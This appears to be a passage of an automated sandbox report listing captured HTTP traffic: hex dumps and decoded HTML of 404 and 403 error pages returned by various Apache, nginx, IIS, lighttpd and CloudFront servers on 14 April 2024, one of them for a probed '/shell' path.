Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:56 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, Keep-AliveAccept-Ranges: bytesCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Keep-Alive: timeout=5, max=100Transfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 34 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 4e 6f 74 20 46 6f 75 6e 64 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 7
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveContent-Length: 109Date: Sun, 14 Apr 2024 02:00:57 GMTExpires: 0Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 404: Not Found</title></head><body><h1>Error 404: Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:57 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:00:57 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlContent-Length: 345Date: Sun, 14 Apr 2024 02:00:57 GMTServer: lighttpd/1.4.39Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 34 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>404 - Not Found</title> </head> <body> <h1>404 - Not Found</h1> </body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Sun, 14 Apr 2024 02:00:52 GMTContent-Length: 1245Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 46 69 6c 65 20 6f 72 20 64 69 72 65 63 74 6f 72 79 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e 53 65 72 76
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:00:58 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:00:56 GMTServer: ApacheX-Frame-Options: SAMEORIGINContent-Length: 196Keep-Alive: timeout=15, max=800Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:00 GMTServer: Apache/2.2.15 (CentOS)Content-Length: 278Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 73 68 65 6c 6c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 32 2e 31 35 20 28 43 65 6e 74 4f 53 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /shell was not found on this server.</p><hr><address>Apache/2.2.15 (CentOS) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:00 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:01 GMTServer: Apache/2.4.56 (Amazon Linux) OpenSSL/3.0.8Content-Length: 196Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:01 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.0 (Ubuntu)Date: Sun, 14 Apr 2024 02:01:01 GMTContent-Type: text/htmlContent-Length: 178Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:01 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Sun, 14 Apr 2024 02:01:02 GMTContent-Type: text/htmlContent-Length: 146Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 14 Apr 2024 02:01:02 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:02 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
